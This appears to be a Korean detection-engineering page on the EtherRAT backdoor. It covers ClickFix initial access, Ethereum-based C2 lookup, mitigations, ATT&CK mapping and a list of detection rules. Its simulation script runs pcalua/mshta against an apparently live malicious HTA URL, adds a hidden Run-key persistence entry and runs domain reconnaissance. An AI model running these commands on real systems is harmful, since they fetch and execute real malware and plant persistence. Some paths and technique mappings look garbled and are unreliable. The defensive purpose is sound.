EtherRAT 및 SYS_INFO 모듈: 이더리움에서의 C2 (EtherHiding), 목표 선택, CDN 유사 비콘
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
EtherRAT는 ‘EtherHiding’ 접근 방식을 사용하여 이더리움 스마트 계약에서 명령 및 제어 엔드포인트를 해결하는 Node.js 백도어입니다. 이는 비콘을 일반 CDN 요청처럼 형성하여 일반 웹 트래픽과 섞이며 암호화폐 지갑과 클라우드 자격 증명과 같은 고가치 데이터를 타겟으로 합니다. 초기 액세스는 종종 ClickFix 스타일의 사회 공학 또는 pcalua.exe 및 mshta.exe를 통한 악성 HTA 실행을 유발하는 가짜 IT 지원 유인책에 의해 주도됩니다.
조사
eSentire 위협 대응 유닛은 AES-256-CBC 복호화 워크플로우, HKCU Run 레지스트리 값을 통한 지속성, 광범위한 호스트 프로파일링을 담당하는 SYS_INFO 모듈을 포함하는 다단계 로더 체인을 관찰했습니다. EtherRAT는 관련 스마트 계약을 찾기 위해 여러 공공 이더리움 RPC 제공자에게 접근한 다음 CDN과 유사한 URL을 유도하여 작업 및 후속 명령에 대해 폴링함으로써 ‘합법적인 트래픽’ 위장술을 강화합니다.
완화 조치
AppLocker 또는 WDAC를 사용하여 pcalua.exe 및 mshta.exe를 차단하거나 엄격하게 제어하고, 그룹 정책을 통해 Windows 실행 대화 상자를 제한합니다. 가능한 경우 알려진 공공 암호화 RPC 인프라에 대한 액세스를 제한하거나 차단하고, 필요하지 않은 엔드포인트에서 갑작스런 이더리움 RPC 사용 사례에 대한 경고를 설정합니다. Node.js 기반 백도어를 감지할 수 있는 엔드포인트 통제를 배포하고 식별된 도메인으로의 CDN 패치 행위와 유사한 비정상적인 비콘 패턴을 모니터링합니다.
응답
EtherRAT 활동이 감지되면, 해당 엔드포인트를 격리하고 실행 중인 프로세스를 종료하며, HKCU Run 지속성 항목과 드롭된 모든 아티팩트를 제거하세요. 추가 페이로드가 배치되지 않았음을 확인하기 위해 전체 포렌식 검사를 수행하고 노출된 자격 증명(암호화폐 지갑 비밀 및 클라우드 서비스 키를 우선으로)을 회전합니다. 환경 전반에 걸쳐 유사한 이더리움 RPC 조회 및 CDN과 유사한 폴링 행동을 탐지하여 잠재적 확산 범위를 확인합니다.
"graph TB %% 클래스 정의 classDef technique fill:#ffcc99 classDef tool fill:#c2c2f0 classDef process fill:#99ff99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% 노드 u2013 기술 tech_initial_access["<b>기술</b> – <b>T1218.005 시스템 바이너리 프록시 실행</b><br/>pcalua.exe는 악성 HTA 다운로드 및 실행을 위해 mshta.exe를 실행합니다."] class tech_initial_access technique tech_indirect_cmd_exec["<b>기술</b> – <b>T1202 간접 명령 실행</b><br/>다른 바이너리를 호출하기 위해 명령 줄을 난독화합니다."] class tech_indirect_cmd_exec technique tech_cmd_shell["<b>기술</b> – <b>T1059.003 명령 및 스크립트 인터프리터: Windows 명령 셸</b><br/>지문 인식을 위해 PowerShell 및 reg 명령을 실행합니다."] class tech_cmd_shell technique tech_persistence["<b>기술</b> – <b>T1546.007 Netsh Helper DLL</b> 및 <b>T1037.004 RC 스크립트</b><br/>HKCU Run 키를 생성하여 conhost.exe headless node.exe를 실행합니다."] class tech_persistence technique tech_defense_evasion["<b>기술</b> – <b>T1027 난독화된 파일 또는 정보</b> 하위u2011기법 다형성 코드, 동적 API 해상, 임베디드 페이로드, 해독/디코딩"] class tech_defense_evasion technique tech_c2_resolver["<b>기술</b> – <b>T1102.001 임시 저장소 해석기</b><br/>이더리움 스마트 계약에서 C2 주소를 검색합니다."] class tech_c2_resolver technique tech_c2_comm["<b>기술</b> – <b>T1102 웹 서비스</b> 양방향 (T1102.002) 및 일방향 (T1102.003) 통신<br/>HTTPS 요청은 CDN 트래픽을 모방합니다."] class tech_c2_comm technique tech_collection["<b>기술</b> – <b>T1602.002 네트워크 장치 구성 덤프</b><br/>OS, 하드웨어, 네트워크, AV, 암호화 지갑 파일 및 클라우드 자격 증명을 수집합니다."] class tech_collection technique tech_exfiltration["<b>기술</b> – <b>T1041 C2 채널을 통한 유출</b><br/>수집된 데이터를 동일한 HTTPS 채널을 통해 다시 보냅니다."] class tech_exfiltration technique tech_impact_hijack["<b>기술</b> – <b>T1496.001 컴퓨트 하이재킹</b><br/>암호화 지갑 파일을 훔칩니다."] class tech_impact_hijack technique tech_impact_cloud["<b>기술</b> – <b>T1537 클라우드 계정으로 데이터 전송</b><br/>클라우드 저장소에 자격 증명을 업로드합니다."] class tech_impact_cloud technique tech_software_ext["<b>기술</b> – <b>T1176 소프트웨어 확장자</b> 및 <b>T1505.004 IIS 컴포넌트</b><br/>Node.js 런타임 및 추가 모듈을 다운로드합니다."] class tech_software_ext technique tech_lateral["<b>기술</b> – <b>T1080 공유 콘텐츠 오염</b><br/>원격 서버에서 추가 페이로드/모듈을 다운로드합니다."] class tech_lateral technique %% 노드 u2013 도구 tool_pcalua["<b>도구</b> – <b>이름</b>: pcalua.exe<br/><b>설명</b>: 프록시로 사용되는 Windows 업데이트 독립 실행형 설치 프로그램"] class tool_pcalua tool tool_cmd["<b>도구</b> – <b>이름</b>: cmd.exe<br/><b>설명</b>: 캐럿 난독화를 사용하는 Windows 명령 셸"] class tool_cmd tool tool_ethereum["<b>도구</b> – <b>이름</b>: Ethereum RPC 제공자<br/><b>설명</b>: 스마트 계약을 쿼리하기 위해 사용되는 공공 RPC 엔드포인트"] class tool_ethereum tool tool_nodejs["<b>도구</b> – <b>이름</b>: Node.js 런타임<br/><b>설명</b>: C2에서 다운로드한 추가 모듈을 실행합니다."] class tool_nodejs tool %% 노드 u2013 프로세스 process_mshta["<b>프로세스</b> – <b>이름</b>: mshta.exe<br/><b>설명</b>: HTA 파일을 실행합니다."] class process_mshta process process_powershell["<b>프로세스</b> – <b>이름</b>: powershell.exe<br/><b>설명</b>: 시스템 지문 인식을 위한 PowerShell 스크립트를 실행합니다."] class process_powershell process process_conhost["<b>프로세스</b> – <b>이름</b>: conhost.exe<br/><b>설명</b>: 헤드리스 node.exe를 실행하기 위해 사용되는 호스트 프로세스"] class process_conhost process process_https["<b>프로세스</b> – <b>이름</b>: HTTPS 클라이언트<br/><b>설명</b>: /api/<hex>/<UUID>.ico와 같은 CDN 트래픽을 모방하는 요청을 보냅니다."] class process_https process process_remote_download["<b>프로세스</b> – <b>이름</b>: 다운로드<br/><b>설명</b>: 원격 서버에서 추가 페이로드를 가져옵니다."] class process_remote_download process %% 노드 u2013 멀웨어 malware_obfuscator["<b>멀웨어</b> – <b>이름</b>: Obfuscator.io 생성된 페이로드<br/><b>설명</b>: AESu2011256u2011CBC 암호화된 단계와 다형성 코드"] class malware_obfuscator malware %% 연결 tech_initial_access –>|사용| tool_pcalua tool_pcalua –>|실행| process_mshta process_mshta –>|다운로드| "shep.hta" tech_initial_access –>|로 이어짐| tech_indirect_cmd_exec tech_indirect_cmd_exec –>|사용| tool_cmd tool_cmd –>|호출| process_powershell process_powershell –>|실행| tech_cmd_shell tech_cmd_shell –>|활성화| tech_persistence tech_persistence –>|생성| process_conhost process_conhost –>|실행| tool_nodejs tech_defense_evasion –>|적용| malware_obfuscator malware_obfuscator –>|페이로드 제공| tool_nodejs tech_c2_resolver –>|주소 검색| tool_ethereum tool_ethereum –>|쿼리| "이더리움 스마트 계약" tech_c2_comm –>|통신| process_https process_https –>|데이터 전송| tech_collection tech_collection –>|데이터 유출| tech_exfiltration tech_exfiltration –>|전달| tech_impact_hijack tech_exfiltration –>|전달| tech_impact_cloud tech_software_ext –>|다운로드| tool_nodejs tool_nodejs –>|활성화| tech_lateral tech_lateral –>|다운로드| process_remote_download "
공격 흐름
탐지
LOLBAS Pcalua (via cmdline)
보기
Lolbin 프로세스 파일 생성 (via file_event)
보기
MsiExec가 셸 프로세스에 의해 시작됨 (via cmdline)
보기
LOLBAS Conhost (via cmdline)
보기
연관된 명령을 탐지하여 의심스러운 LOLBAS MSHTA 방어 회피 행동 (via process_creation)
보기
IP 조회 도메인 통신 시도 가능 (via dns)
보기
계정 또는 그룹 열거/조작 가능 (via cmdline)
보기
의심스러운 CURL 사용 (via cmdline)
보기
WMI를 사용하여 Windows 가상화 환경 탐지 가능 (via cmdline)
보기
지속성 포인트 가능성 [ASEPs – Software/NTUSER Hive] (via cmdline)
보기
회피 체크 가능 (via powershell)
보기
케럿 삽입을 사용한 명령줄 난독화 가능 (via cmdline)
보기
안티바이러스 또는 방화벽 소프트웨어 열거 가능 (via process_creation)
보기
Linux 시스템 정보 검색 (via cmdline)
보기
IOC(출발지IP) 탐지: EtherRAT & SYS_INFO 모듈: 이더리움에서의 C2 (EtherHiding), 타겟 선택, CDN 비콘
보기
IOC(도착지IP) 탐지: EtherRAT & SYS_INFO 모듈: 이더리움에서의 C2 (EtherHiding), 타겟 선택, CDN 비콘
보기
IOC(HashSha256) 탐지: EtherRAT & SYS_INFO 모듈: 이더리움에서의 C2 (EtherHiding), 타겟 선택, CDN 비콘
보기
EtherRAT 초기 액세스 탐지: ClickFix 및 간접 명령 실행 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제 조건: Telemetry & Baseline Pre‑flight Check가 통과되어야 합니다.
이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 기법(TTP)의 정밀한 실행을 기술합니다. 명령 및 내러티브는 식별된 TTP를 직접 반영해야 하며 탐지 논리가 예상하는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예시는 오진을 초래할 것입니다.
-
공격 내러티브 및 명령:
- 초기 액세스 – ClickFix 설치 프로그램: 공격자는 보이지 않는 악성 ClickFix 설치 프로그램을 활용하여
cmd.exe를 호출합니다.pcalua.exe. - 간접 실행:
pcalua.exe가mshta.exe를 대상으로 실행하여https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta원격 HTA 파일을 다운로드합니다. 이 HTA 스크립트는 EtherRAT 페이로드를 로드합니다. - 지속성 설정: 드롭퍼는
Run레지스트리 값을 추가합니다.HKCUSoftwareMicrosoftWindowsCurrentVersionRun체인된conhost.exe→node.exe실행 체인을 가리키며, 사용자가 로그인할 때 맬웨어가 시작되도록 합니다. - 도메인 정찰: 동시에, PowerShell 단일 줄 명령이 실행되어 컴퓨터의 도메인 이름을 읽고 공격자에게 시스템이 도메인에 가입되었음을 알립니다.
모든 세 명령줄은 숨겨진
cmd.exe인스턴스에서 실행되며, Sigma 규칙의지표1/지표2or지표3결합과 일치합니다. - 초기 액세스 – ClickFix 설치 프로그램: 공격자는 보이지 않는 악성 ClickFix 설치 프로그램을 활용하여
-
회귀 테스트 스크립트: 아래 스크립트는 정확한 명령줄을 재현합니다(사용자별 경로는 환경 변수를 통해 해결됩니다).
# ------------------------------------------------------------- # EtherRAT 초기 액세스 시뮬레이션 – PowerShell 래퍼 # ------------------------------------------------------------- $username = $env:USERNAME $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta" $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' $conhostPath = "$env:WINDIRSystem32conhost.exe" $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe" $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin" # 1. 지표 1 – pcalua -> mshta $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden # 2. 지표 2 – 레지스트리 Run 키와 conhost 체인 $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f" $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden # 3. 지표 3 – PowerShell 도메인 쿼리 $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`"" $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`"" Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden Write-Host "`n[+] 시뮬레이션 명령 발행됨. 일치하는 이벤트 알림을 위한 SIEM 확인." -
정리 명령: 레지스트리 항목을 제거하고 시뮬레이션에서 생성된 파일을 삭제하세요.
# ------------------------------------------------------------- # 정리 – 실행 키 및 임시 파일 제거 # ------------------------------------------------------------- $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' $runValueName = '0c939bf7ae8f' # 실행 키 값 삭제 if (Test-Path $runKeyPath) { Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue Write-Host "[+] 레지스트리 실행 값 $runValueName 제거됨" } # 잔여 파일 제거(만약 생성되었다면) $paths = @( "$env:TEMPbenign.txt" # 베이스라인으로부터 (선택 사항) ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item $p -Force } } Write-Host "[+] 정리 완료."